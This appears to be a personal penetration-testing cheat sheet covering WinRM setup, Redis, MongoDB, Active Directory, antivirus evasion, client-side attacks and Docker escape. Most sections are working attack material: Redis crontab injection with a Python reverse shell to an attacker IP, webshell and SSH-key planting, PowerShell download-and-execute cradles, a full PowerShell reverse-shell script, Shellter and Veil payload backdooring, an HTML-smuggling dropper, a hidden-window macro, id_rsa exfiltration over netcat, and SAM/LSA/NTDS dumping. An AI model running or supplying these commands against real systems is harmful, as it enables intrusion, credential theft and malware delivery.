1. Set Network Profile to Private

WinRM will refuse to configure its firewall exception if the active network adapter is set to "Public". This is a Windows security policy. Change it to Private first.

<syntaxhighlight lang="powershell">
# Find the interface index
Get-NetConnectionProfile

# Set it to Private
Set-NetConnectionProfile -InterfaceIndex <INDEX> -NetworkCategory Private
</syntaxhighlight>

2. Run quickconfig

starts the WinRM service, sets it to auto-start, and creates the firewall exception.

<syntaxhighlight lang="powershell">
winrm quickconfig
</syntaxhighlight>

3. Enable Basic Auth + Unencrypted Traffic

By default WinRM requires encrypted transport (HTTPS). Since we're using plain HTTP (port 5985), we need to allow unencrypted traffic. Basic auth is also disabled by default so it needs to be on for local/workgroup accounts.

<syntaxhighlight lang="powershell">
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
winrm set winrm/config/service/auth '@{Basic="true"}'
</syntaxhighlight>

Registry if the above failes:
<syntaxhighlight lang="powershell">
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Service" `
-Name "allow_unencrypted" -Value 1
Restart-Service WinRM
</syntaxhighlight>

Verify:
<syntaxhighlight lang="powershell">
winrm get winrm/config/service
# Look for:
# AllowUnencrypted = true
# Auth/Basic = true
</syntaxhighlight>

Now on your local machine that is '''connecting to the target'''.

1. Enable WinRM

WinRM needs to be running locally to manage client settings like TrustedHosts, even if you're only using it as a client and not accepting inbound connections.

<syntaxhighlight lang="powershell">
Start-Service WinRM
Set-Service WinRM -StartupType Automatic
winrm quickconfig
</syntaxhighlight>

2. Add to TrustedHosts

When connecting to a machine that isn't domain-joined (workgroup), Windows doesn't have a way to verify its identity via Kerberos. TrustedHosts tells your WinRM client "trust this IP even without domain auth". Without this, every connection attempt throws a <code>PSRemotingTransportException</code>.

<syntaxhighlight lang="powershell">
# Trust a specific target
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.x.x.x" -Force

# Lab only — trust everything
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force
</syntaxhighlight>

3. Allow Unencrypted + Basic on Client Side

Both sides need to allow unencrypted traffic and Basic auth, otherwise the connection is rejected before it even reaches the target.

<syntaxhighlight lang="powershell">
winrm set winrm/config/client '@{AllowUnencrypted="true"}'
winrm set winrm/config/client/auth '@{Basic="true"}'
</syntaxhighlight>

CLEANUP:

<syntaxhighlight lang="powershell">
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "" -Force
Stop-Service WinRM
Set-Service WinRM -StartupType Disabled
</syntaxhighlight>

Source:
[https://woshub.com/using-psremoting-winrm-non-domain-workgroup/ Using psremote winrm non domain joined workgroup]

== 6370 - Redis ==

=== Commands & info ===

<syntaxhighlight lang="bash">
# Service file
/etc/systemd/system/redis.service
# Config file
installdir/redis/etc/redis. conf
</syntaxhighlight>

=== Crontab ===

<syntaxhighlight lang="bash">
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
</syntaxhighlight>

=== Dumping database ===

=== Load module ===

<syntaxhighlight lang="bash">
# See PG Sybaris writeup
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.
# Then you need some way to upload the compiled module
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so
# List loaded modules to check it was correctly loaded: MODULE LIST
# Execute commands:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
Unload the module whenever you want: MODULE UNLOAD mymodule
</syntaxhighlight>

=== Redis-rogue server ===

<syntaxhighlight lang="bash">
# A exploit for Redis(<=5.0.5) RCE
# https://github.com/n0b0dyCN/redis-rogue-server
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379
</syntaxhighlight>

=== SSH ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]

<syntaxhighlight lang="bash">
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa
# 2 Write the public key to a file : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
# 4 Save the public key to the authorized_keys file on redis server:
# 4
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52
</syntaxhighlight>

=== Webshell ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]

<syntaxhighlight lang="bash">
# You must know the path of the Web site folder.
# Try also /var/www/html
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
</syntaxhighlight>

----

== 27017 - MongoDB ==

=== Crack hash ===

<syntaxhighlight lang="python">
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.
#!/usr/bin/python3
import base64
import hashlib
import hmac
import sys
USERNAME = 'admin'
SALT = 'zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg=='
CLIENT_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK'
SERVER_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D'
ITERATIONS = 15000
TARGET = '/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98='
WORDLIST = '/usr/share/wordlists/rockyou.txt'
def byte_xor(ba1, ba2):
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
def proof(username, password, salt, client_nonce, server_nonce, iterations):
raw_salt = base64.b64decode(salt)
client_first_bare = 'n={},r={}'.format(username, client_nonce)
server_first = 'r={},s={},i={}'.format(server_nonce, salt, iterations)
client_final_without_proof = 'c=biws,r={}'.format(server_nonce)
auth_msg = '{},{},{}'.format(client_first_bare, server_first, client_final_without_proof)
salted_password = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), raw_salt, iterations)
client_key = hmac.digest(salted_password, b'Client Key', 'sha256')
stored_key = hashlib.sha256(client_key).digest()
client_signature = hmac.new(stored_key, auth_msg.encode('utf-8'), 'sha256').digest()
client_proof = byte_xor(client_key, client_signature)
return base64.b64encode(client_proof).decode('utf-8')
counter = 0
with open(WORDLIST) as f:
for candidate in f:
counter = counter + 1
if counter % 1000 == 0:
print('Tried {} passwords'.format(counter))
p = proof(USERNAME, candidate.rstrip('\n'), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)
if p == TARGET:
print('Password found: {}'.format(candidate.rstrip('\n')))
sys.exit(0)
print('Wordlist exhausted with no password found.')
</syntaxhighlight>

----

== 29819 - Windows IoT Core SirepServer ==

[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]

<syntaxhighlight lang="bash">
# Upload file - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe'
# Execute command - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444'
</syntaxhighlight>

----

== Active Directory/Windows ==

https://blog.aghanim.net/?p=2078

=== ASREPRoast ===

=== BloodHound ===

<syntaxhighlight lang="bash">
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.
python3 bloodhound.py -c All -d -u -p '' -ns
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Start neo4j database
./neo4j console
# Start BloodHound
./BloodHound.bin --no-sandbox
</syntaxhighlight>

=== Curated list of commands ===

=== Dump hash ===

<syntaxhighlight lang="bash">
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
</syntaxhighlight>

=== Kerberoast ===

=== Pass The Hash ===

=== Password Spraying ===

<syntaxhighlight lang="bash">
crackmapexec smb -u users.txt -p passwords.txt
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
</syntaxhighlight>

=== PSEXEC.py, PSExec.exe, Evil-WinRM ===

<syntaxhighlight lang="bash">
python3 psexec.py test.local/john:password123@10.10.10.1
</syntaxhighlight>

<syntaxhighlight lang="bash">
# evil-winrm -u svc-alfresco -p 's3rvice' -i 10.10.10.161
</syntaxhighlight>

<syntaxhighlight lang="bash">
# From SysInternals
PsExec.exe -i -u domain\user cmd.exe
</syntaxhighlight>

=== Powershell commands ===

Running powershell x64, and running (IEX) the downloaded ps1 file.

<syntaxhighlight lang="powershell">
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/mini-reverse.ps1')
</syntaxhighlight>

Running Powershell on target with ExectionPolicy to bypass

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass
</syntaxhighlight>

Running PowerUp.ps1 on target machine

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/PowerUp.ps1');Invoke-AllChecks"
</syntaxhighlight>

Downloading SharpHound.exe on target machine

<syntaxhighlight lang="powershell">
(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:9000/SharpHound.exe', 'C:\Users\[...]\Desktop\SharpHound.exe')
# Execute SharpHound
./SharpHound.exe
</syntaxhighlight>

Running PowerView.ps1 on target machine

<syntaxhighlight lang="powershell">
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.45:5555/PowerView.ps1')
</syntaxhighlight>

Running Nishangs Invoke-PowershellTCP

<syntaxhighlight lang="powershell">
powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.18:9000/shell.ps1')
</syntaxhighlight>

Use invoke webrequest and download script. With -UseBasicParsing. ''-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.''

<syntaxhighlight lang="powershell">
iex (iwr '10.10.14.9:9000/ipw.ps1') -UseBasicParsing
</syntaxhighlight>

Download a file and save it to location.

<syntaxhighlight lang="powershell">
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe
</syntaxhighlight>

Mini-reverseshell.ps1

<syntaxhighlight lang="powershell">
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
</syntaxhighlight>

Powershell location

<syntaxhighlight lang="bash">
# 64-bit Windows
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
# 32-bit (x86) Windows
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
</syntaxhighlight>

=== User enumeration ===

<syntaxhighlight lang="bash">
./kerbrute_linux_amd64 userenum -d --dc usernames.txt
</syntaxhighlight>

----

== Ansible ==

[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]

<syntaxhighlight lang="bash">
# Run Ad-hoc command
ansible victims -a "whoami"
# Run ad-hoc command as root or other users
# If you don't specify user it will default to root.
ansible victims -a "whoami" --become

## Crack Ansible hash
# Notice the spaces between AES256 and 666...
cat test.yml >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
# Convert to readable hash
https://github.com/willstruggle/john/blob/master/ansible2john.py
python3 ansible2john.py test.yml > ansiblehash
cat ansiblehash >
$ansible$0*0*9661a952b5822af9a210...
# Crack the hash using john or hashcat
john ansiblehash
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt
# Decrypt vault
cat pw.txt >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
cat pw.txt | ansible-vault decrypt
# Use the pass cracked from john or hashcat
Vault password:
lab
# Run the playbook
ansible-playbook playbook.yml --vault-password-file=vault.txt
# OR
ansible-playbook playbook.yml --ask-vault-pass
</syntaxhighlight>

== Artifactory Jfrog ==

<syntaxhighlight lang="bash">
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide
</syntaxhighlight>

== Anti-Virus Evasion (Bypass) ==

[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]

PWK chapter 17

OSEP

=== Test payload against AV ===

https://virustotal.com (Don't use if you want you're payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.

https://antiscan.me

=== Theory ===

<syntaxhighlight lang="bash">
# On-Disk Evasion
- Packers
- Obfuscator
- Crypters
- Software protectors
# In-memory Evasion
- Remote Process Memory Injection
- Reflective DLL Injection
- Process Hollowing
- Inline hooking
</syntaxhighlight>

=== Shellter ===

Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.

It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.

The free version only works for x86, not x64.

<syntaxhighlight lang="bash">
# Install
sudo apt install shellter
apt install wine
# If error
dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32:i386
# Start
shellter
# Download a valid .exe file, ex spotify installer and load it into shellter.
/home/aghanim/downloads/SpotifySetup.exe
# Choose a payload from the list.
L
1
SET LHOST: IP
SET LPORT: PORT
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You'll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter "migrate".
set AutoRunScript post/windows/manage/migrate
-----------------------
# You can also set custom payload
# First generate a binary file with msfvenom. -e is the encoding we're using, and -i is the number of iterations. (The number of times to encode the payload)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw > met.bin
# Start shellter
Choose Operation Mode - Auto/Manual (A/M/H): A
PE Target: /home/kali/poultry/whoami.exe
**********
* Backup *
**********
Backup: Shellter_Backups\whoami.exe
...
Filtering Time Approx: 0.0024 mins.
Enable Stealth Mode? (Y/N/H): N
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Use a listed payload or custom? (L/C/H): C
Select Payload: /home/kali/poultry/met.bin
Is this payload a reflective DLL loader? (Y/N/H): N
****************
* Payload Info *
****************
...
Injection: Verified!
</syntaxhighlight>

[[File:2022-10-image-1.png|thumb]]

[[File:2022-10-image-2.png|thumb]]

=== Veil Framework ===

Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.

<syntaxhighlight lang="bash">
# Install
# https://github.com/Veil-Framework/Veil
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
# If error with (wine) python pip peefile version fix with this
vim /usr/share/veil/config/setup.sh
Change line 587 to:
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
Then, run # veil --setup again.

# Start veil
veil
# or
/usr/share/veil/Veil.py
# Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool

# Generate a powershell script (bat file) for evasion
veil > use evasion
# List payloads
veil > list
# Use powershell rev tcp payload
veil/evasion > use powershell/meterpreter/rev_tcp.py
# List options
[powershell/meterpreter/rev_tcp>>]: options
# Generate payload
[powershell/meterpreter/rev_tcp>>]: generate

# From pic below, payload is in /var/lib/veil/output/source/ folder
</syntaxhighlight>

[[File:2022-10-image-3.png|thumb]]

=== Ebowla ===

<syntaxhighlight lang="bash">
https://github.com/Genetic-Malware/Ebowla
# Use it to obfuscate payloads like JuicyPotato or other exploits.
# Quick demo
https://www.youtube.com/watch?v=rRm3O7w5GHg
</syntaxhighlight>

----

== API ==

[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]

<syntaxhighlight lang="bash">
# Need to have golang installed
apt-get install golang
# build the binary
make build
# symlink your binary
ln -s $(pwd)/dist/kr /usr/local/bin/kr
# compile the wordlist
# kr kb compile
kr kb compile routes.json routes.kite
# scan away
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053
</syntaxhighlight>

== Buffer overflow ==

https://blog.aghanim.net/?p=1932

----

== Browser exploits ==

=== Firefox ===

<syntaxhighlight lang="bash">
# Extract passwords from profile
https://github.com/unode/firefox_decrypt
</syntaxhighlight>

----

----

== Client-Side Code Execution ==

=== HTML Smuggeling ===

HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the
browser to automatically download a file when a user clicks the assigned hyperlink.
</pre>

In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.

<syntaxhighlight lang="bash">
# Generate a staged payload using msfvenom.
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe
# Saved it as base64 as to not lose any data.
base64 msfstaged.exe
</syntaxhighlight>

<syntaxhighlight lang="markup">

function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i
var file ="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA..."
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';

var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);

</syntaxhighlight>

[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]

=== Microsoft Office Macro Client-side Attack ===

https://blog.aghanim.net/?page_id=1809#Microsoft_Word

==== Visual Basic for Applications [VBA] ====

<syntaxhighlight lang="visual">
'VBA Datatype
'Dim is used to declare variables
Dim myString As String # Unicode
Dim myLong As Long # 64-bit integer
Dim myPointer As LongPtr # Memory pointer
'Example - if and else statement
Sub MyMacro()
Dim myLong As Long
myLong = 1
If myLong < 5 Then
MsgBox ("True")
Else
MsgBox ("False")
End If
End Sub

'Example - Launch cmd.exe with a hidden window
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "cmd.exe"
Shell str, vbHide
End Sub
'The picture below show the cmd.exe running as a child process of winword.
</syntaxhighlight>

[[File:2023-02-image-1.png|thumb]]

----

== Certificate Types ==

{| class="wikitable"
|-
! Extension
! Full Name
! Contains
! Format
! Common Use
! Use Case
! Real-World Example
|-
| .cer
| Certificate
| Public key
| Usually in DER or PEM
| Sharing or installing public keys
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates
| Adding a trusted certificate in Windows to access a secure corporate intranet site
|-
| .pem
| Privacy Enhanced Mail
| Certificates and/or private keys
| Base64 encoded text (PEM)
| SSL certificates and private keys, commonly used in web servers
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security
|-
| .crt
| Certificate
| Public key
| Usually in PEM or DER
| Similar to .cer, used for certificates in web servers
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)
| Installing an SSL/TLS certificate from Let's Encrypt (.crt) to secure your website and enable HTTPS
|-
| .pfx
| Personal Information Exchange
| Private key and certificate (often password-protected)
| Binary (PFX)
| Bundling a private key with a certificate, used for importing/exporting certificates
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file
|-
| .key
| Private Key File
| Private key
| Text (usually PEM)
| Storing private keys for SSL certificates, often paired with .crt files
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate
| Using a .key file along with a .crt file to configure HTTPS for a website
|-
| .der
| Distinguished Encoding Rules
| Certificate or private key in binary
| Binary (DER)
| Storing certificates or private keys in binary format
| Used in environments where certificates or keys need to be in a compact, binary format
| Using a .der file to import a certificate in Windows or Java environments
|-
| .csr
| Certificate Signing Request
| Information about an entity requesting a certificate
| Text (usually PEM)
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)
| Generating a .csr to request an SSL/TLS certificate from a CA like Let's Encrypt
| Creating a .csr file to obtain an SSL certificate for your website
|-
| .p7b or .p7c
| PKCS#7 Certificate File
| Certificates in chain (no private key)
| Base64 or Binary
| Sharing a certificate chain
| Importing a full certificate chain in environments like Java keystores
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server
|-
| .jks
| Java KeyStore
| Private keys and certificates
| Binary (JKS)
| Storing certificates and private keys in Java environments
| Storing certificates and keys for Java-based applications like Tomcat
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat
|}

----

== Command and control - C2 framework ==

=== Covenant ===

<syntaxhighlight lang="bash">
# https://github.com/cobbr/Covenant
# Installation and running
git clone --recurse-submodules https://github.com/cobbr/Covenant
# Be sure to install the dotnet core version 3.1 SDK!
# Build and run convenant
$ ~ > git clone --recurse-submodules https://github.com/cobbr/Covenant
$ ~ > cd Covenant/Covenant
$ ~/Covenant/Covenant > dotnet run
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]
Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser
</syntaxhighlight>

=== Powershell-empire (And starkiller) ===

<syntaxhighlight lang="bash">
# https://github.com/EmpireProject/Empire
# Installation and running
sudo ./setup/install.sh
# Or
sudo apt install powershell-empire
# Starkiller
# https://github.com/BC-SECURITY/Starkiller
# Starkiller is a Frontend for Powershell Empire.
# Change the permissions
chmod a+x starkiller-.AppImage
# Then execute
./starkiller-.AppImage --no-sandbox
</syntaxhighlight>

=== Meterpreter ===

<syntaxhighlight lang="bash">
# Log location
~/.msf4/logs/framework.log
# DBMS used is postgresql.
# If IOError, check logs. If Postgresql, check the postgresql logs at:
/var/log/postgresql/...
# Initialize db
msfdb init # only if needed
# Metasploit location
/opt/metasploit-framework/embedded/framework/
</syntaxhighlight>

----

== Compiling exploits ==

=== Compile .asm to elf ===

<syntaxhighlight lang="bash">
nasm -f elf64 thm.asm
ld thm.o -o thm
./thm
THM,Rocks!
</syntaxhighlight>

=== Compile .cpp to .exe ===

<syntaxhighlight lang="bash">
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp
</syntaxhighlight>

=== Compile .cs to .exe ===

<syntaxhighlight lang="bash">
# Using csc
csc payload.cs
# Using mono - https://www.mono-project.com/
mcs payload.cs
</syntaxhighlight>

=== Compile .c to .exe ===

<syntaxhighlight lang="bash">
## Create 32-bit Windows executable with:
i686-w64-mingw32-gcc -o main32.exe main.c
## Create 64-bit Windows executable with:
x86_64-w64-mingw32-gcc -o main64.exe main.c
# Flags:
-lwsock32 and -lws2_32
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.
</syntaxhighlight>

=== Compile .c in linux using --static ===

<syntaxhighlight lang="bash">
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.
gcc 45010.c -o exploit --static

gcc 45010.c -o exploit -z execstack
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.

-------------------------------
# If the above dont work, try this
gcc -o sh.elf sh.c -z execstack -static
upx --best --lzma -o shupx.elf ./sh.elf
</syntaxhighlight>

=== Compile .c to 32-bit windows ===

<syntaxhighlight lang="bash">
gcc exploit.c -m32 -o exploit
</syntaxhighlight>

----

== Docker - Privile Escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]

=== Shell ===

This will create a docker image, that you can run and get a shell with

<syntaxhighlight lang="bash">
# Create a docker file
FROM alpine:latest
ENV WORKIDR /privesc
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR]
WORKDIR $WORKDIR
# Build the docker container
docker build -t imagename .
# Now run the image with /bin/bash. -it means interactive and terminal
docker run -v /:/mountdir -it imagename /bin/bash
root@machine#
-----------------------------------------------
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
</syntaxhighlight>

=== Exfiltrate data ===

See notes for Deployer

<syntaxhighlight lang="bash">
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80
shanah@deployer:/opt$ cat dockerfile
FROM alpine
COPY id_rsa.bak /tmp/id_rsa.bak
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80
# After running the below command, look at your netcat listener.
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .
</syntaxhighlight>

----

== Exec-Tools ==

=== CrackMapExec ===

<syntaxhighlight lang="bash">
https://wiki.porchetta.industries/
# READ MORE IN THE LINK ABOVE!!!!
# SMB commands
# Obtaining creds
# Require Domain Admin or Local Admin
# Dump SAM
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
## Dump LSA
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
## Dump NTDS.dit
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users
